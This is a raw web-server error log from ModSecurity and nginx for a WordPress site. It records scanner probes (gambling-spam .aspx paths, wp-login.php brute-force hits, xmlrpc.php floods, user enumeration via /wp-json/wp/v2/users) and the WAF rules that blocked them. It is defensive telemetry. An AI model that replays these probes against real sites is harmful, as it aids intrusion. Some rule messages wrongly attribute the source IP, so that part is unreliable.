[Wed Mar 11 19:36:51.597718 2026] [:error] [pid 23482:tid 23500] [client 62.113.117.240:37852] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20c4.aspx"] [unique_id "abFT08rYaTAnN_mLXyndlgAAAQ8"]
[Wed Mar 11 19:36:53.612883 2026] [:error] [pid 44995:tid 45017] [client 62.113.117.240:37888] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20sa.aspx"] [unique_id "abFT1ToOSr9ks_axo6O2hAAAAlQ"]
2026/03/11 19:36:53 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /ufa%20sa.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20sa.aspx", host: "rcacivilgroup.com"
2026/03/11 19:36:55 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /ufa%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:55.629763 2026] [:error] [pid 54045:tid 54062] [client 62.113.117.240:37910] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20slot.aspx"] [unique_id "abFT1yRcKzQ1f-N8TgS5hwAAAM8"]
[Wed Mar 11 19:36:57.631958 2026] [:error] [pid 45143:tid 45166] [client 62.113.117.240:37946] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20vip.aspx"] [unique_id "abFT2SEXSpYdWImkpzblDQAAAZU"]
2026/03/11 19:36:57 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /ufa%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20vip.aspx", host: "rcacivilgroup.com"
2026/03/11 19:37:32 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:37:32.123213 2026] [:error] [pid 44995:tid 45020] [client 62.113.117.240:38444] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wallet%20slot.aspx"] [unique_id "abFT_DoOSr9ks_axo6O2sgAAAlc"]
2026/03/11 19:37:34 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:37:34.117982 2026] [:error] [pid 54045:tid 54068] [client 62.113.117.240:38476] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we88%20slot.aspx"] [unique_id "abFT_iRcKzQ1f-N8TgS59gAAANU"]
2026/03/11 19:37:36 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:37:36.141430 2026] [:error] [pid 45143:tid 45159] [client 62.113.117.240:38506] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abFUACEXSpYdWImkpzblLQAAAY4"]
[Wed Mar 11 19:37:38.172709 2026] [:error] [pid 23482:tid 23498] [client 62.113.117.240:38542] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xo%20slot.aspx"] [unique_id "abFUAsrYaTAnN_mLXyndrAAAAQ0"]
2026/03/11 19:37:38 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:37:40.174249 2026] [:error] [pid 54045:tid 54062] [client 62.113.117.240:38574] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yakuza%20slot.aspx"] [unique_id "abFUBCRcKzQ1f-N8TgS6BwAAAM8"]
2026/03/11 19:37:40 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:58:56.751653 2026] [autoindex:error] [pid 54045:tid 54063] [client 173.249.30.252:57398] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 11 22:11:08.905901 2026] [:error] [pid 53955:tid 54022] [client 157.66.27.22:35960] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abF3_NP1Uf6qBkbxZg8COwAAAIQ"]
[Wed Mar 11 22:41:19.563715 2026] [:error] [pid 45143:tid 45152] [client 104.28.160.144:34012] [client 104.28.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "abF_DyEXSpYdWImkpzYKVQAAAYc"]
[Wed Mar 11 23:04:51.653380 2026] [:error] [pid 23482:tid 23485] [client 50.253.208.73:53502] [client 50.253.208.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGEk8rYaTAnN_mLXyn4_wAAAQA"]
[Wed Mar 11 23:09:19.218095 2026] [:error] [pid 53954:tid 53997] [client 50.253.208.73:57300] [client 50.253.208.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abGFn7bD1J_Nhe6jce2VMAAAAEs"]
[Wed Mar 11 23:10:02.586410 2026] [:error] [pid 44882:tid 44887] [client 50.253.208.73:57940] [client 50.253.208.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGFylC06UlbDFYZNg0MzgAAAgM"]
[Thu Mar 12 00:54:32.142112 2026] [:error] [pid 55247:tid 55284] [client 34.11.201.115:43270] [client 34.11.201.115] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abGeSOxWBoHgpiqMqkisgwAAAA8"]
[Thu Mar 12 00:54:33.290534 2026] [:error] [pid 55266:tid 55316] [client 34.11.201.115:43294] [client 34.11.201.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGeSZsmvC-0sL-4DxHIMwAAAI8"]
[Thu Mar 12 00:54:34.379043 2026] [:error] [pid 55440:tid 55488] [client 34.11.201.115:43308] [client 34.11.201.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGeSp7d56augNcs06P8fwAAAMY"]
[Thu Mar 12 00:54:35.292381 2026] [:error] [pid 55266:tid 55334] [client 34.11.201.115:43322] [client 34.11.201.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGeS5smvC-0sL-4DxHIOwAAAJc"]
[Thu Mar 12 00:54:36.254638 2026] [:error] [pid 55587:tid 55615] [client 34.11.201.115:43330] [client 34.11.201.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGeTIvUDIu2al9Vqa8F8wAAARA"]
[Thu Mar 12 00:54:36.254738 2026] [:error] [pid 55587:tid 55615] [client 34.11.201.115:43330] [client 34.11.201.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.4.122.14, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGeTIvUDIu2al9Vqa8F8wAAARA"]
2026/03/12 00:54:36 [error] 53461#53461: *1266090 upstream prematurely closed connection while reading response header from upstream, client: 34.11.201.115, server: rcacivilgroup.com, request: "POST /xmlrpc.php HTTP/1.1", upstream: "http://103.4.122.14:8181/xmlrpc.php", host: "rcacivilgroup.com"
[Thu Mar 12 02:18:27.317483 2026] [:error] [pid 55440:tid 55502] [client 89.58.43.122:57850] [client 89.58.43.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abGx857d56augNcs06MONAAAAM8"]
[Thu Mar 12 02:53:30.045897 2026] [:error] [pid 55587:tid 55622] [client 146.70.181.42:54190] [client 146.70.181.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abG6KovUDIu2al9Vqa8vOwAAARc"]
[Thu Mar 12 04:02:15.433756 2026] [:error] [pid 63149:tid 63243] [client 172.98.33.6:42904] [client 172.98.33.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abHKR3o4UdkUSJRpS0wHfAAAAJg"]
[Thu Mar 12 04:59:13.945569 2026] [:error] [pid 63149:tid 63240] [client 172.98.33.15:43352] [client 172.98.33.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abHXoXo4UdkUSJRpS0wUJwAAAJU"]
[Thu Mar 12 04:59:15.637322 2026] [:error] [pid 63256:tid 63266] [client 172.98.33.20:43434] [client 172.98.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abHXowhgyalB3r3y_ThHiwAAAMI"]
[Thu Mar 12 05:22:51.410503 2026] [:error] [pid 63256:tid 63268] [client 45.132.115.253:55318] [client 45.132.115.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abHdKwhgyalB3r3y_ThRGgAAAMQ"]
[Thu Mar 12 06:37:28.430349 2026] [:error] [pid 51540:tid 51543] [client 45.132.115.251:53531] [client 45.132.115.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abHuqGOFFjotMIN2UD0c3wAAAME"]
[Thu Mar 12 07:05:35.893127 2026] [:error] [pid 51540:tid 51559] [client 172.98.33.8:40337] [client 172.98.33.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.8, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abH1P2OFFjotMIN2UD0v3wAAANE"]
[Thu Mar 12 07:33:35.440785 2026] [:error] [pid 51455:tid 51482] [client 172.98.33.8:31669] [client 172.98.33.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.8, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abH7z5E0YyNxdg6PL_D5dQAAABY"]
[Thu Mar 12 07:42:57.307342 2026] [:error] [pid 51540:tid 51555] [client 45.132.115.245:56649] [client 45.132.115.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.245, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abH-AWOFFjotMIN2UD1DRAAAAM0"]
[Thu Mar 12 07:54:39.782664 2026] [:error] [pid 8249:tid 8256] [client 115.76.89.91:6333] [client 115.76.89.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.76.89.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abIAvyK5dL3-8Jdf0M3EEgAAAQU"]
[Thu Mar 12 08:33:56.269076 2026] [:error] [pid 51456:tid 51489] [client 43.154.127.188:40860] [client 43.154.127.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abIJ9BXu8LzVixNGr0s4SQAAAEI"]
[Thu Mar 12 08:48:44.754513 2026] [:error] [pid 51540:tid 51553] [client 45.132.115.248:33033] [client 45.132.115.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abINbGOFFjotMIN2UD1jIQAAAMs"]
[Thu Mar 12 09:45:24.768486 2026] [:error] [pid 11985:tid 12012] [client 172.98.33.9:38349] [client 172.98.33.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abIatHcAcNujsOssVDfWxwAAAZU"]
[Thu Mar 12 09:54:50.706868 2026] [:error] [pid 51455:tid 51460] [client 45.132.115.245:48015] [client 45.132.115.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.245, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abIc6pE0YyNxdg6PL_AiyQAAAAA"]
[Thu Mar 12 10:04:43.962839 2026] [:error] [pid 51456:tid 51492] [client 120.60.109.127:53789] [client 120.60.109.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.60.109.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abIfOxXu8LzVixNGr0s91wAAAEU"]
[Thu Mar 12 10:07:23.155322 2026] [:error] [pid 22063:tid 22083] [client 120.60.109.127:55523] [client 120.60.109.127] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abIf260RUhS-MJyHWLR8vgAAAhI"]
[Thu Mar 12 10:08:29.457549 2026] [:error] [pid 22063:tid 22082] [client 120.60.109.127:56333] [client 120.60.109.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.60.109.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abIgHa0RUhS-MJyHWLR88QAAAhE"]
[Thu Mar 12 11:47:47.108907 2026] [:error] [pid 51540:tid 51554] [client 136.144.33.179:43989] [client 136.144.33.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.179, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abI3Y2OFFjotMIN2UD2HMwAAAMw"]
[Thu Mar 12 13:57:42.400326 2026] [:error] [pid 8249:tid 8258] [client 43.159.152.184:49132] [client 43.159.152.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abJV1iK5dL3-8Jdf0M16sQAAAQc"]
[Thu Mar 12 15:38:13.156244 2026] [:error] [pid 51540:tid 51559] [client 123.187.240.242:51496] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abJtZWOFFjotMIN2UD3F8gAAANE"]
[Thu Mar 12 17:09:23.200844 2026] [:error] [pid 51540:tid 51549] [client 94.247.172.129:7137] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abKCw2OFFjotMIN2UD3V6gAAAMc"]
[Thu Mar 12 17:26:32.286875 2026] [:error] [pid 8249:tid 8262] [client 46.255.27.20:54664] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abKGyCK5dL3-8Jdf0M3u7AAAAQs"]
[Thu Mar 12 17:37:31.943308 2026] [:error] [pid 51455:tid 51462] [client 46.255.27.20:62452] [client 46.255.27.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abKJW5E0YyNxdg6PL_AZuQAAAAI"]
[Thu Mar 12 17:39:58.077799 2026] [:error] [pid 11953:tid 11978] [client 46.255.27.20:64248] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abKJ7pudzqsnq3bvtDYdFQAAAVc"]
[Thu Mar 12 17:42:28.958748 2026] [:error] [pid 51457:tid 51526] [client 46.255.27.20:49636] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abKKhCjknw2FvT4H3DarmwAAAIw"]
[Thu Mar 12 17:44:40.577161 2026] [:error] [pid 8249:tid 8272] [client 46.255.27.20:50973] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abKLCCK5dL3-8Jdf0M33UAAAARU"]
[Thu Mar 12 17:46:25.804494 2026] [:error] [pid 11985:tid 12012] [client 46.255.27.20:51891] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abKLcXcAcNujsOssVDcPNAAAAZU"]
